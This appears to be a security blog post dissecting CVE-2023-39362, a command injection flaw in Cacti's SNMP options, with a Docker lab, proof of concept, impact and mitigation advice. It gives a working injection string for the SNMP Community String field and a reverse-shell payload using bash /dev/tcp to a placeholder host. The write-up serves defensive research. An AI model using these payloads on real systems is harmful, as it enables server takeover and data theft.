Dissecting the CVE-2023-39362 Command Injection Vulnerability in Cacti

Introduction:

Cacti, a widely used open-source web monitoring tool, harbors a critical vulnerability (CVE-2023-39362) that can have severe consequences. This blog delves into the technical intricacies of this command injection flaw, its potential impact, proof of concept, and essential mitigation strategies.

Understanding Cacti:

Cacti empowers network administrators to monitor and visualize network performance metrics like bandwidth utilization, CPU usage, and disk I/O. However, security vulnerabilities can compromise the very systems it aims to safeguard.

The Vulnerability at Heart:

CVE-2023-39362 resides in Cacti versions prior to 1.2.25 and exploits a lack of proper input validation in the SNMP (Simple Network Management Protocol) options for devices. Here's the breakdown:

  1. Malicious String Injection: An attacker, either authenticated or potentially unauthenticated depending on the specific configuration, can inject a malicious string into the SNMP options field while adding or editing a device in Cacti.

  2. Unfiltered Execution: Cacti's underlying code utilizes the exec function without proper sanitization of the user-provided input. This means the malicious string, potentially containing operating system commands, gets executed on the server hosting Cacti.

  3. Privilege Escalation (Potential): Depending on the privileges associated with the user or process running Cacti, the attacker can potentially gain escalated access to the underlying system.

Proof of Concept:

Understanding the exploit structure can be valuable for security researchers:

  • The exploit likely involves crafting a string containing the desired operating system command.

  • This string might leverage techniques to bypass basic filtering mechanisms, if any are present in the vulnerable Cacti version.

To perform a proof of concept of this exploit, we will first build a lab hosting a vulnerable version of Cacti using docker. For this purpose, we can use the following docker compose:

version: "3"
services:
  cacti:
    container_name: vuln-cacti
    build:
      context: .
      dockerfile: Dockerfile_cacti
    ports:
      - 80:80
    extra_hosts:
      - "host.docker.internal:host-gateway" # To connect to the host machine.
    depends_on:
      - cacti_db
      - monitored_snmp_device
    restart: always
  cacti_db:
    container_name: vuln-cacti-mysql
    build:
      context: .
      dockerfile: Dockerfile_mysql
    environment:
      MYSQL_ROOT_PASSWORD: mysql_root_password
      MYSQL_DATABASE: cacti_mysql
      MYSQL_USER: cacti_mysql_user
      MYSQL_PASSWORD: cacti_mysql_password
    restart: always
  monitored_snmp_device:
    container_name: vuln-cacti-monitored-snmp-device
    image: xeemetric/snmp-simulator
    ports:
      - 161:161/udp
    restart: always

The Dockerfile for Cacti service could be:

FROM php:7.4.33-apache
RUN apt-get update && \
    apt-get install -y nano cron iputils-ping git rrdtool mariadb-server snmp snmpd libsnmp-dev libxml2-dev libonig-dev libpng-dev libgmp-dev libzip-dev libldap2-dev

RUN docker-php-ext-install mysqli pdo pdo_mysql sockets xml mbstring json gd gmp zip ldap gettext intl pcntl
RUN docker-php-ext-enable mysqli pdo pdo_mysql sockets xml mbstring json gd gmp zip ldap gettext intl pcntl

COPY ./config/cacti/php.ini /usr/local/etc/php/conf.d/php.ini
RUN git clone --depth 1 -b release/1.2.24 https://github.com/Cacti/cacti.git
RUN chown www-data:www-data -R /var/www/html
COPY ./config/cacti/config.php /var/www/html/cacti/include/config.php
RUN echo "*/5 * * * * apache php /var/www/html/cacti/poller.php &>/dev/null"
> /etc/cron.d/cacti

The Dockerfile for MySQL service could be:

FROM mysql:8.0.32
COPY ./config/mysql/cacti.cnf /etc/mysql/conf.d/cacti.cnf
COPY ./config/mysql/cacti.sql /docker-entrypoint-initdb.d/cacti.sql
COPY ./config/mysql/timezone.sql /docker-entrypoint-initdb.d/timezone.sql

Now lets build and run these containers:

docker-compose up -d

Verify the containers are up and running on the relevant ports

docker ps -a

Now we can access the Cacti deployment at:

http://localhost/cacti

The default credentials are: admin/admin. We will need to change these credentials on our first login. Once we are logged in, we can finish the installation set up by going through all the steps.

Now we are ready to perform our command injection exploit. Let's create a new device by click on Create/New Device on the left sidebar.

We need to make sure that the device we are creating supports SNMP version 1 or 2.

In the "SNMP Options", for the "SNMP Community String" field, we use a value like this to perform the injection in the system:

public\' ; touch /tmp/proof ; \'

If the attack is successful, we should be expecting a new file creation in the docker container hosting the Cacti service at /tmp/proof.

Let's verify that the file does not exists before saving the new device creation by getting a bash shell inside the container and listing the /tmp/ directory:

docker exec -it <CONTAINER_ID> bash
ls /tmp/

We don't see any file called proof here. So let's get back to the Cacti service and save the new file with our injection string.

Now verify if it has performed the injection and created the intended file at /tmp/proof.

ls /tmp/

We do see the file which indicates our command injection was successfully performed by the Cacti service.

We can escalate this and actually get a reverse shell by using a string like:

public\' ; bash -c "exec bash -i &>/dev/tcp/<host>/<port> <&1" ; \'

Impact and Consequences:

A successful exploit can have devastating ramifications:

  • System Compromise: The attacker can execute arbitrary commands on the server, potentially leading to complete system takeover.

  • Data Exfiltration: Sensitive information stored on the server, like user credentials or network configurations, becomes vulnerable to theft.

  • Lateral Movement: The compromised server can be used as a springboard to launch further attacks within the network.

  • Denial-of-Service (DoS): The attacker can disrupt critical services running on the server, hindering network operations.

Mitigation Strategies:

Here's how to fortify your Cacti deployment:

  • Upgrade Immediately: The most critical step is to update Cacti to version 1.2.25 or later, which includes a fix for CVE-2023-39362.

  • Restrict Access: Implement strict access controls to limit who can add or edit device configurations in Cacti.

  • Principle of Least Privilege: Grant users only the minimum privileges necessary to perform their tasks within Cacti. This minimizes the potential damage if an exploit occurs.

  • Input Validation: While not a complete solution for existing deployments, consider implementing custom input validation mechanisms to sanitize user-provided input in the SNMP options field.

  • Regular Security Audits: Conduct regular security audits to identify and address vulnerabilities in Cacti and other system components.

Conclusion:

CVE-2023-39362 highlights the importance of timely patching, implementing secure coding practices, and maintaining robust access controls. By understanding the vulnerability, taking necessary precautions, and staying vigilant about security updates, we can collectively safeguard Cacti deployments and the systems they monitor.

Disclaimer:

The information presented in this blog post is for educational purposes only. It is intended to raise awareness about the CVE-2023-39362 vulnerability and help mitigate the risks. It is not intended to be used for malicious purposes.

It's crucial to understand that messing around with vulnerabilities in live systems without permission is not just against the law, but it also comes with serious risks. This blog post does not support or encourage any activities that could help with such unauthorized actions.

CVE-2024-22416: CSRF Vulnerability in pyLoad (pyload-ng)
CVE-2024-22416: CSRF Vulnerability in pyLoad (pyload-ng)
2024-05-19
James McGill
CVE-2023-1177: Path Traversal Vulnerability in MLflow
CVE-2023-1177: Path Traversal Vulnerability in MLflow
2024-05-19
James McGill
CVE-2024-1561: Unauthorized Local File Read Vulnerability in Gradio Applications
CVE-2024-1561: Unauthorized Local File Read Vulnerability in Gradio Applications
2024-05-12
James McGill
CVE-2024-27956: SQL Injection Vulnerability in ValvePress Automatic (WP-Automatic)
CVE-2024-27956: SQL Injection Vulnerability in ValvePress Automatic (WP-Automatic)
2024-05-05
James McGill
CVE-2023-23752: Improper Access Control in Joomla! Versions 4.0.0 through 4.2.7
CVE-2023-23752: Improper Access Control in Joomla! Versions 4.0.0 through 4.2.7
2024-05-05
James McGill
CVE-2024-4040: A Critical CrushFTP Server-Side Template Injection Vulnerability
CVE-2024-4040: A Critical CrushFTP Server-Side Template Injection Vulnerability
2024-05-02
James McGill